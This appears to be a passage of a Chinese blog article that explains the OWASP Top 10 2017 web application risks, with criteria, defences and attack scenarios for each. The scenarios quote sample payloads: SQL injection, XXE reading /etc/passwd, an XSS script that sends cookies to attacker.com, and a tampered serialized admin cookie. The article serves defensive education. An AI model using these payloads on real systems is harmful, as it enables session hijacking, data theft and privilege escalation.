组件如库、框架和其他软件模块与应用以相同权限运行。若易受攻击的组件被利用此类攻击可导致严重的数据丢失或服务器被接管。使用含已知漏洞组件的应用和 API 可能破坏应用防御并引发各种攻击和影响。 | | A10:2017 | 日志记录和监控不足Insufficient Logging Monitoring | 日志记录和监控不足加上缺失或无效的事件响应集成使攻击者能够进一步攻击系统、维持持久性、横向移动到更多系统并篡改、提取或销毁数据。大多数泄露研究表明检测到泄露的时间超过 200 天通常由外部方而非内部流程或监控发现。 |注意上表风险名称的英文原文以 2017/en/0x11-t10.md 为准西班牙语版 2017/es/0x11-t10.md 使用了对应的西语术语如 Inyección、Pérdida de Autenticación、Exposición de datos sensibles、Entidad Externa de XML、Pérdida de Control de Acceso、Configuración de Seguridad Incorrecta、Secuencia de Comandos en Sitios Cruzados、Deserialización Insegura、Utilización de componentes con vulnerabilidades conocidas、Registro y Monitoreo Insuficientes。三、风险评级与“我的风险是什么”2017 版沿用了 OWASP 风险评级方法论。在 2017/en/0x10-app-security-risks.md 中风险被拆解为六个维度| 威胁代理Threat Agents | 可利用性Exploitability | 弱点普遍性Weakness Prevalence | 弱点可检测性Weakness Detectability | 技术影响Technical Impacts | 业务影响Business Impacts | | -- | -- | -- | -- | -- | -- | | 应用特定 | 容易 3 | 普遍 3 | 容易 3 | 严重 3 | 业务特定 | | | 一般 2 | 常见 2 | 一般 2 | 中等 2 | | | | 困难 1 | 少见 1 | 困难 1 | 轻微 1 | |评级要点每个维度采用 1–3 分制其中“可利用性 3 容易利用”“普遍性 3 普遍存在”“可检测性 3 容易检测”“技术影响 3 严重”。各组织的情况各不相同同一软件如内容管理系统 CMS在公益组织与医疗机构中的威胁代理和业务影响可能完全不同因此必须结合自身威胁代理与业务影响评估风险。风险名称尽可能与 MITRE 的 Common Weakness Enumeration (CWE) 对齐以促进通用命名约定、减少混淆。每个风险的详细评级表见 2017/en/0xc1-risk-factors.md其中还列出了除 Top 10 之外应额外评估的风险例如 CWE-352CSRF、CWE-400资源耗尽、CWE-434危险类型文件上传、CWE-451点击劫持、CWE-601未验证的重定向、CWE-799反自动化、CWE-829不可信第三方内容、CWE-918SSRF等。四、十大风险逐一详解4.1 A1:2017 注入Injection判定标准见 2017/en/0xa1-injection.md应用在以下情况易受注入攻击用户提供的数据未被应用验证、过滤或净化动态查询或非参数化调用未使用上下文感知的转义直接用于解释器敌意数据被用于 ORM 搜索参数以提取额外的敏感记录敌意数据被直接使用或拼接使 SQL 或命令同时包含结构和敌意数据常见注入类型包括 SQL、NoSQL、OS 命令、ORM、LDAP、表达式语言EL/OGNL 注入各解释器的概念相同。代码审计SAST是发现注入缺陷的最佳方法其次是彻底的自动化测试覆盖所有参数、头、URL、Cookie、JSON、SOAP 和 XML 输入。组织可在 CI/CD 管道中集成 SAST 与 DAST 工具在生产部署前发现新引入的注入缺陷。防护方法核心是“将数据与命令/查询分离”优先使用安全 API避免使用解释器或提供参数化接口或迁移到 ORM 工具。注意即使参数化存储过程若在 PL/SQL 或 T-SQL 中拼接查询和数据或用 EXECUTE IMMEDIATE / exec() 执行敌意数据仍可能引入 SQL 注入。采用正向“白名单”服务端输入验证。注意这并非完整防御因为许多应用需要特殊字符如文本区或移动应用 API。对残余的动态查询使用该解释器特有的转义语法转义特殊字符。注意SQL 结构如表名、列名无法转义因此用户提供的结构名称是危险的报表软件中常见。攻击场景示例场景 #1应用用不可信数据构造如下易受攻击的 SQL 调用String query SELECT * FROM accounts WHERE custID request.getParameter(id) ;场景 #2盲目信任框架导致查询仍易受攻击如 Hibernate Query LanguageQuery HQLQuery session.createQuery(FROM accounts WHERE custID request.getParameter(id) );两个场景中攻击者将浏览器中的 id 参数值改为 UNION SELECT SLEEP(10);--例如访问http://example.com/app/accountView?id UNION SELECT SLEEP(10);--从而改变两条查询的含义返回 accounts 表中的所有记录更危险的攻击可修改或删除数据甚至调用存储过程。4.2 A2:2017 失效的身份验证Broken Authentication判定标准见 2017/en/0xa2-broken-authentication.md确认用户身份、认证与会话管理对防御认证相关攻击至关重要。应用存在认证弱点的情况包括允许自动化攻击如凭据填充credential stuffing攻击者拥有有效用户名和密码列表允许暴力破解或其他自动化攻击允许默认、弱或众所周知的密码如 Password1 或 admin/admin使用弱或无效的凭据恢复和忘记密码流程如基于知识的答案无法安全实现使用明文、加密或弱哈希密码见 A3:2017缺少或无效的多因素认证MFA在 URL 中暴露会话 ID如 URL 重写登录成功后不轮换会话 ID未能正确使会话 ID 失效登出或不活动期间未正确使用户会话或认证令牌——尤其是单点登录 SSO 令牌——失效。防护方法尽可能实现多因素认证防止自动化、凭据填充、暴力破解和被盗凭据重用攻击。不随产品发布或部署任何默认凭据尤其是管理员用户。实现弱密码检查如将新密码或修改的密码与top 10000 worst passwords列表比对。将密码长度、复杂度和轮换策略与 NIST 800-63 B 5.1.1Memorized Secrets或其他基于证据的现代密码策略对齐。注册、凭据恢复和 API 路径应强化防账户枚举所有结果使用相同消息。限制或逐步延迟失败的登录尝试记录所有失败并在检测到凭据填充、暴力破解或其他攻击时告警管理员。使用服务端、安全的、内置的会话管理器登录后生成高熵的新随机会话 ID。会话 ID 不应出现在 URL 中应安全存储并在登出、空闲和绝对超时后失效。攻击场景示例场景 #1凭据填充——使用已知密码列表的自动化攻击若应用未实现自动化威胁或凭据填充防护应用可被用作密码预言机来判断凭据是否有效。场景 #2多数认证攻击源于继续将密码作为唯一因素。NIST 800-63 建议停止强制密码轮换和复杂度要求这反而促使用户使用和重用弱密码改用多因素认证。场景 #3应用会话超时设置不当。用户在公共电脑上访问应用未点退出而是直接关闭浏览器标签页离开一小时后攻击者使用同一浏览器用户仍处于认证状态。4.3 A3:2017 敏感数据泄露Sensitive Data Exposure判定标准见 2017/en/0xa3-sensitive-data-disclosure.md首先确定传输中和静态存储数据的保护需求。密码、信用卡号、健康记录、个人信息和商业机密需要额外保护尤其是受隐私法律如欧盟 GDPR或法规如 PCI DSS约束的数据。自查问题包括是否有任何数据以明文传输这涉及 HTTP、SMTP、FTP 等协议外部互联网流量尤其危险同时要检查所有内部流量如负载均衡器、Web 服务器或后端系统之间。是否默认使用或旧代码使用了过时或弱加密算法是否使用默认加密密钥、生成或重用弱密钥、缺少适当的密钥管理或轮换是否未强制加密例如缺少用户代理安全指令或头用户代理如应用、邮件客户端是否未验证收到的服务器证书有效性防护方法对应用处理、存储或传输的数据进行分类识别哪些数据根据隐私法律、法规要求或业务需求属于敏感数据并按分类实施控制。不要不必要地存储敏感数据尽快丢弃或使用符合 PCI DSS 的令牌化tokenization甚至截断。未被保留的数据不可能被窃取。确保对静态存储的所有敏感数据加密。确保使用最新且强健的标准算法、协议和密钥并进行适当的密钥管理。对传输中数据使用安全协议加密如支持完美前向保密PFS密码套件的 TLS、服务器端密码优先排序和安全参数使用 HTTP Strict Transport Security (HSTS) 等指令强制加密。对包含敏感数据的响应禁用缓存。使用带工作因子的强自适应加盐哈希函数存储密码如 Argon2、scrypt、bcrypt 或 PBKDF2。独立验证配置和设置的有效性。攻击场景示例场景 #1应用使用数据库自动加密对信用卡号加密但数据检索时自动解密导致 SQL 注入缺陷可以明文检索信用卡号。场景 #2网站未对所有页面使用或强制 TLS或支持弱加密。攻击者监控网络流量如不安全的无线网络将连接从 HTTPS 降级为 HTTP拦截请求并窃取用户的会话 Cookie然后重放该 Cookie 劫持用户已认证会话访问或修改用户的私有数据。场景 #3密码数据库使用未加盐或简单哈希存储所有用户密码。文件上传缺陷使攻击者获取密码数据库所有未加盐哈希可通过彩虹表暴露简单或快速哈希函数生成的哈希即使加盐也可能被 GPU 破解。4.4 A4:2017 XML 外部实体XXE判定标准见 2017/en/0xa4-xxe.md应用尤其是基于 XML 的 Web 服务或下游集成在以下情况可能易受攻击应用直接接受 XML 或 XML 上传尤其是来自不可信来源或将不可信数据插入 XML 文档并由 XML 处理器解析应用或 SOAP 服务的任何 XML 处理器启用了文档类型定义DTD——不同处理器的禁用机制不同应参考 OWASP XXE Prevention Cheat Sheet应用在联合安全或 SSO 中使用 SAML 处理身份SAML 使用 XML 进行身份断言可能易受攻击应用使用 1.2 之前的 SOAP且 XML 实体被传给 SOAP 框架易受 XXE 攻击通常意味着应用也易受拒绝服务攻击包括 Billion Laughs 攻击。防护方法开发者培训是识别和缓解 XXE 的基础。此外尽可能使用更简单的数据格式如 JSON避免敏感数据的序列化。修补或升级应用或底层操作系统使用的所有 XML 处理器和库使用依赖检查器将 SOAP 升级到 1.2 或更高。按 OWASP XXE Prevention Cheat Sheet在应用的所有 XML 解析器中禁用 XML 外部实体和 DTD 处理。实施正向白名单服务端输入验证、过滤或净化防止 XML 文档、头或节点中的敌意数据。验证 XML 或 XSL 文件上传功能使用 XSD 验证等方式校验传入的 XML。SAST 工具可帮助在源代码中发现 XXE但在大型复杂、多集成的应用中手动代码审查是最佳选择。如果无法实施这些控制可考虑使用虚拟补丁、API 安全网关或 Web 应用防火墙WAF来检测、监控和阻止 XXE 攻击。攻击场景示例场景 #1攻击者尝试从服务器提取数据?xml version1.0 encodingISO-8859-1? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo场景 #2攻击者通过将上述 ENTITY 行改为以下内容来探测服务器的私有网络!ENTITY xxe SYSTEM https://192.168.1.1/private ]场景 #3攻击者通过包含可能无休止的文件来尝试拒绝服务攻击!ENTITY xxe SYSTEM file:///dev/random ]4.5 A5:2017 失效的访问控制Broken Access Control判定标准见 2017/en/0xa5-broken-access-control.md访问控制用于强制执行策略使用户无法超出其预期权限行事。常见漏洞包括通过修改 URL、内部应用状态或 HTML 页面绕过访问控制检查或使用自定义 API 攻击工具允许更改主键为其他用户的记录从而查看或编辑他人账户不安全的直接对象引用权限提升未登录而以用户身份行事或登录为普通用户却以管理员身份行事元数据操纵重放或篡改 JSON Web Token (JWT) 访问控制令牌、Cookie 或隐藏字段以提升权限或滥用 JWT 失效CORS 配置错误允许未经授权的 API 访问强制浏览force browsing未认证用户访问认证页面或普通用户访问特权页面访问缺少 POST、PUT、DELETE 访问控制的 API。防护方法访问控制只有在受信任的服务端代码或无服务器 API 中强制实施才有效攻击者无法修改访问控制检查或元数据。除公共资源外默认拒绝。访问控制机制实现一次并在整个应用复用包括尽量减少 CORS 的使用。模型访问控制应强制记录所有权而不是接受用户可以创建、读取、更新或删除任何记录。独特的应用业务限制要求应由领域模型强制实施。禁用 Web 服务器目录列表确保文件元数据如 .git和备份文件不在 Web 根目录中。记录访问控制失败并在适当时如重复失败告警管理员。对 API 和控制器访问进行速率限制以尽量减少自动化攻击工具的危害。登出后应在服务器端使 JWT 令牌失效。开发人员和 QA 应包含功能性的访问控制单元测试和集成测试。攻击场景示例场景 #1应用在 SQL 调用中使用未经验证的数据访问账户信息pstmt.setString(1, request.getParameter(acct)); ResultSet results pstmt.executeQuery();攻击者仅修改浏览器中的 acct 参数即可发送任意账户号。若未正确验证攻击者可访问任何用户的账户http://example.com/app/accountInfo?acctnotmyacct场景 #2攻击者强制浏览目标 URL。管理员页面需要管理员权限访问http://example.com/app/getappInfo http://example.com/app/admin_getappInfo若未认证用户可以访问任一页面或非管理员可以访问管理员页面即存在缺陷。4.6 A6:2017 安全配置错误Security Misconfiguration判定标准见 2017/en/0xa6-security-misconfiguration.md应用在以下情况可能易受攻击应用栈的任何部分缺少适当的安全加固或云服务权限配置不当启用或安装了不必要的功能如不必要的端口、服务、页面、账户或权限默认账户及其密码仍然启用且未更改错误处理向用户暴露堆栈跟踪或其他过于冗长的错误消息升级后的系统禁用了最新安全功能或未安全配置应用服务器、应用框架如 Struts、Spring、ASP.NET、库、数据库等的安全设置未设置为安全值服务器未发送安全头或指令或未设置为安全值软件过时或易受攻击见 A9:2017。防护方法应实施安全的安装流程包括可重复的加固流程使部署另一个正确锁定的环境快速且容易开发、QA 和生产环境应配置一致且每个环境使用不同的凭据。该流程应自动化以尽量减少建立新安全环境所需的工作量。精简平台不包含任何不必要的功能、组件、文档和示例删除或不安装未使用的功能和框架。作为补丁管理流程的一部分审查并更新所有安全通告、更新和补丁的相应配置见 A9:2017特别要审查云存储权限如 S3 bucket 权限。分段的应用架构通过分段、容器化或云安全组ACL在组件或租户之间提供有效、安全的分隔。向客户端发送安全指令如 Security Headers。自动化流程验证所有环境中配置和设置的有效性。攻击场景示例场景 #1应用服务器自带示例应用未从生产服务器移除这些示例应用存在已知安全缺陷若其中一个是管理控制台且默认账户未更改攻击者可用默认密码登录并接管系统。场景 #2服务器未禁用目录列表攻击者发现可列出目录找到并下载编译后的 Java 类反编译并逆向工程查看代码随后发现严重的访问控制缺陷。场景 #3应用服务器配置允许向用户返回详细错误消息如堆栈跟踪可能暴露敏感信息或底层缺陷如已知易受攻击的组件版本。场景 #4云服务提供商对 Internet 开放默认共享权限导致云存储中的敏感数据可被访问。4.7 A7:2017 跨站脚本XSS三种形式见 2017/en/0xa7-xss.md反射型 XSS应用或 API 将未验证和未转义的用户输入作为 HTML 输出的一部分。成功的攻击可让攻击者在受害者浏览器中执行任意 HTML 和 JavaScript。通常用户需点击指向攻击者控制页面的恶意链接如恶意水坑网站、广告等。存储型 XSS应用或 API 存储未净化的用户输入随后被其他用户或管理员查看。存储型 XSS 通常被视为高危或严重风险。DOM XSSJavaScript 框架、单页应用和 API 动态地将攻击者可控制的数据包含到页面中时易受 DOM XSS 攻击。理想情况下应用不应将攻击者可控制的数据发送到不安全的 JavaScript API。典型 XSS 攻击包括会话窃取、账户接管、MFA 绕过、DOM 节点替换或篡改如木马登录面板、针对用户浏览器的攻击恶意软件下载、键盘记录和其他客户端攻击。防护方法防止 XSS 需要将不可信数据与活动浏览器内容分离使用设计上自动转义 XSS 的框架如最新版 Ruby on Rails、React JS。了解每个框架 XSS 保护的局限性并适当处理未覆盖的用例。根据 HTML 输出中的上下文body、属性、JavaScript、CSS 或 URL转义不可信的 HTTP 请求数据可解决反射型和存储型 XSS 漏洞详见 OWASP XSS Prevention Cheat Sheet。在客户端修改浏览器文档时应用上下文敏感编码可防御 DOM XSS无法避免时可将类似的上下文敏感转义技术应用于浏览器 API见 OWASP DOM based XSS Prevention Cheat Sheet。启用内容安全策略Content Security Policy, CSP作为针对 XSS 的纵深防御缓解控制。只有在不存在其他允许通过本地文件包含如路径遍历覆盖或来自允许的 CDN 的易受攻击库放置恶意代码的漏洞时CSP 才有效。攻击场景示例场景 #1应用在构造以下 HTML 片段时使用不可信数据且未验证或转义(String) page input namecreditcard typeTEXT value request.getParameter(CC) ;攻击者将浏览器中的 CC 参数修改为scriptdocument.locationhttp://www.attacker.com/cgi-bin/cookie.cgi?foodocument.cookie/script此攻击使受害者的会话 ID 被发送到攻击者网站攻击者得以劫持用户当前会话。注意攻击者可以利用 XSS 击败应用可能采用的任何自动化跨站请求伪造CSRF防御。4.8 A8:2017 不安全的反序列化Insecure Deserialization判定标准见 2017/en/0xa8-insecure-deserialization.md应用和 API 在反序列化攻击者提供的敌意或篡改对象时易受攻击。这可能导致两类主要攻击对象和数据结构相关的攻击攻击者修改应用逻辑或在应用可用类能在反序列化期间或之后改变行为时实现任意远程代码执行典型的数据篡改攻击如与访问控制相关的攻击使用现有数据结构但更改内容。序列化可能用于远程和进程间通信RPC/IPC、线路协议、Web 服务、消息代理缓存/持久化数据库、缓存服务器、文件系统HTTP Cookie、HTML 表单参数、API 认证令牌。防护方法唯一安全架构模式是不接受来自不可信来源的序列化对象或使用只允许原始数据类型的序列化介质。若无法做到可考虑以下一种或多种对任何序列化对象实施完整性检查如数字签名防止敌意对象创建或数据篡改。在反序列化期间、对象创建前强制执行严格的类型约束代码通常期望可定义的类集合。已证明可绕过该技术因此不应仅依赖它。尽可能在低权限环境中隔离并运行反序列化代码。记录反序列化异常和失败如传入类型不是预期类型或反序列化抛出异常。限制或监控反序列化容器或服务器的进出网络连接。监控反序列化行为若用户持续反序列化则告警。攻击场景示例场景 #1一个 React 应用调用一组 Spring Boot 微服务开发者将用户状态序列化并在每次请求中来回传递。攻击者注意到 rO0 Java 对象签名使用 Java Serial Killer 工具在应用服务器上获得远程代码执行。场景 #2一个 PHP 论坛使用 PHP 对象序列化保存包含用户 ID、角色、密码哈希和其他状态的超级 Cookiea:4:{i:0;i:132;i:1;s:7:Mallory;i:2;s:4:user;i:3;s:32:b6a8b3bea87fe0e05022f8f3c88bc960;}攻击者修改序列化对象以赋予自己管理员权限a:4:{i:0;i:1;i:1;s:5:Alice;i:2;s:5:admin;i:3;s:32:b6a8b3bea87fe0e05022f8f3c88bc960;}4.9 A9:2017 使用含有已知漏洞的组件Using Components with Known Vulnerabilities判定标准见 2017/en/0xa9-known-vulns.md以下情况很可能易受攻击不了解使用的所有组件版本客户端和服务端包括直接使用的组件和嵌套依赖软件易受攻击、不受支持或过时包括 OS、Web/应用服务器、DBMS、应用、API 及所有组件、运行时环境和库未定期扫描漏洞未订阅所使用组件的安全公告未以基于风险的方式及时修复或升级底层平台、框架和依赖常见的月度或季度补丁流程使组织暴露数天或数月软件开发人员未测试更新、升级或修补后库的兼容性未保护组件的配置见 A6:2017。防护方法应有补丁管理流程移除未使用的依赖、不必要的功能、组件、文件和文档。使用 versions、DependencyCheck、retire.js 等工具持续盘点客户端和服务端组件框架、库及其依赖的版本。持续监控 CVE 和 NVD 等来源了解组件漏洞使用软件成分分析SCA工具自动化流程订阅所用组件安全漏洞的邮件告警。仅从官方来源通过安全链接获取组件优先使用签名包以减少包含被修改、恶意组件的可能性。监控无维护或不发布旧版本安全补丁的库和组件。若无法修补考虑部署虚拟补丁来监控、检测或防护已发现的问题。每个组织必须确保存在持续的计划在应用或产品组合的整个生命周期内监控、分诊并应用更新或配置更改。攻击场景示例场景 #1组件通常与应用以相同权限运行因此任何组件的缺陷都可能导致严重影响。此类缺陷可能是偶然的编码错误或故意的组件后门。已知示例CVE-2017-5638——Struts 2 远程代码执行漏洞可在服务器上执行任意代码曾引发重大泄露。物联网IoT设备虽常难以或无法修补但修补的重要性可能很大如生物医学设备。工具辅助存在自动化工具帮助攻击者发现未修补或配置错误的系统如 Shodan 物联网搜索引擎可帮助查找仍受 2014 年 4 月已修补的 Heartbleed 漏洞影响的设备。4.10 A10:2017 日志记录和监控不足Insufficient Logging Monitoring判定标准见 2017/en/0xaa-logging-detection-response.md在以下任何时候都会发生日志记录、检测、监控和主动响应不足可审计事件如登录、失败登录和高价值交易未被记录警告和错误不产生日志消息或产生不充分、不清楚的日志消息应用和 API 的日志未被监控以发现可疑活动日志仅存储在本地没有适当的告警阈值和响应升级流程或它们无效渗透测试和 DAST 工具如 OWASP ZAP的扫描不会触发告警应用无法实时或近实时地检测、升级或告警活跃攻击。若将日志记录和告警事件暴露给用户或攻击者则易受信息泄露见 A3:2017。防护方法根据应用存储或处理数据的风险而定确保所有登录、访问控制失败和服务端输入验证失败都能记录足够的用户上下文以识别可疑或恶意账户并保留足够时间以进行延迟取证分析。确保日志生成格式易于被集中式日志管理解决方案消费。确保高价值交易具有带完整性控制的审计跟踪防止篡改或删除如仅追加的数据库表等。建立有效的监控和告警及时检测和响应可疑活动。建立或采用事件响应和恢复计划如 NIST 800-61 rev 2 或更高版本。此外还有商业和开源的应用防护框架如 OWASP AppSensor、Web 应用防火墙如带 OWASP ModSecurity Core Rule Set 的 ModSecurity以及带自定义仪表盘和告警的日志关联软件。攻击场景示例场景 #1一个由小团队运营的开源项目论坛软件因软件缺陷被黑客入侵攻击者清空了包含下一版本的内部源代码仓库和所有论坛内容。尽管源代码可以恢复但缺乏监控、日志记录或告警导致了更严重的泄露。该论坛项目因此不再活跃。场景 #2攻击者扫描使用常见密码的用户可接管使用该密码的所有账户。对其他用户此扫描仅留下一次假登录。数天后可能用不同密码重复此过程。场景 #3一家大型美国零售商的内部分析沙箱检测到潜在有害软件但无人响应此检测。沙箱已产生警告一段时间直到外部银行因欺诈性卡交易才发现泄露。五、在仓库中检索与引用 2017 版知识本仓库OWASP Top 10 官方文档仓库以多种语言与格式收录 2017 版内容便于多语言读者与研究检索多语言 Markdown 源码2017/en/英文、2017/es/西班牙文、2017/fr/法文、2017/ja/日文、2017/ru/俄文、2017/pt-br/、2017/pt-pt/、2017/tr/、2017/id/、2017/fa/、2017/he/、2017/ko/、2017/ro/、2017/de/等目录中均有0x11-t10.md及各风险章节0xa1-injection.md至0xaa-logging-detection-response.md。例如法文版的阅读说明见 2017/fr/LISEZ MOI-FR.md 与 2017/fr/TRADUCTION.md。发布文件2017 版的官方发布说明见 2017/README.md最终版 PPTX 与 PDF 存放在2017/根目录如OWASP Top 10-2017 (en).pdf、OWASP Top 10-2017 (en).pptx。数据与草案2017/datacall/目录保存了 2017 版的数据征集与分析材料含各厂商提交的 xlsx 数据、CSV 表单提交与数据分析文档2017/drafts/保存了 RC1、RC2 等草案 PDF/PPTX可用于研究该版本的风险排序形成过程。中文对照如需中文阅读可参阅早期版本的中文译本如 2010/OWASP Top 10 2010 Chinese.pdf或新版 2021/docs/zh-TW/ 系列2017 版核心术语以英文版 2017/en/0x11-t10.md 为准。引用建议在技术文档或报告中引用时应同时标注风险编号如 A1:2017、CWE 编号如 CWE-89与本仓库对应章节路径便于读者直接回溯原始出处。六、总结从风险清单到可落地的安全行动2017 版十大风险的共同主题是“信任边界”——无论是将不可信数据送入解释器A1、信任脆弱的会话机制A2、未加密的敏感数据A3、未加固的 XML 解析器A4、未强制的访问策略A5、未加固的配置A6、未转义的输出A7、未验证的反序列化输入A8、未治理的第三方组件A9还是未记录的异常行为A10本质上都是对数据、代码与系统边界信任的失控。针对每条风险的防护措施可归纳为四类行动输入输出双端治理A1参数化查询 白名单验证、A4禁用 DTD/外部实体、A7上下文转义 CSP、A8拒绝不可信反序列化 完整性校验认证与访问控制加固A2MFA 会话 ID 轮换与失效、A5服务端强制访问控制 默认拒绝加密与配置基线A3静态/传输加密 强口令哈希、A6可重复的加固流程 安全头组件与运维闭环A9依赖清单 漏洞扫描 补丁管理、A10集中日志 实时告警 事件响应计划。以本文梳理的判定标准与攻击场景为检查清单结合 2017/en 下的逐项章节与 2017/datacall/ 的数据背景即可将 2017 版 Top 10 从一张风险速览表转化为组织的安全评审、代码审计与渗透测试实操依据。赞分享应用安全【免费下载链接】Top10Official OWASP Top 10 Document Repository项目地址https://gitcode.com/gh_mirrors/top/Top10点击查看免费下载相关推荐OWASP Top 102017完全解读十大 Web 应用安全风险与实战防护指南OWASP Top 102017完全解读十大 Web 应用安全风险与实战防护指南 OWASP Top 10 是全球最具影响力的 Web 应用安全风险清单应用安全OWASP Top 10 2017 十大 Web 应用安全风险完全解读从风险清单到防护实战OWASP Top 10 2017 十大 Web 应用安全风险完全解读从风险清单到防护实战 本文以 2017/he/0x11 t10.md https://l应用安全OWASP Top 10 2017 发布说明解读从 2013 到 2017 的十大 Web 应用安全风险变迁OWASP Top 10 2017 发布说明解读从 2013 到 2017 的十大 Web 应用安全风险变迁 本文以官方仓库 2017/pt pt/0x06应用安全上一篇EbookLib与其他Python电子书库对比为什么它是最佳选择下一篇FLUX.1-dev精度评估ClipScore与Hpsv2测试全流程创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考
